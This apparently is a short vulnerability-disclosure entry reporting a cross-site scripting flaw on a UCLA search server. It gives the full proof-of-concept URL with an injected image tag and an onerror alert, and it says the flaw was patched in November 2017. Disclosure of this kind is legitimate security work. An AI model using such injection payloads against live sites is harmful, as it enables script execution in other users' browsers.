gsa.search.ucla.edu XSS vulnerability

Vulnerable URL: http://gsa.search.ucla.edu/search?site=UCLA=UCLA=UCLA=xmlnodtd=1=data:text/html,/%3Cimg%20src=x%20%27-alert%28/XSSPOSED/%29-%27%20onerror=alert%281%29%3E/alert%281%29 Details: Description| Value ---|--- Patched:| Yes, at 21.11.2017 Latest check for patch:| 21.11.2017 21:03 GMT...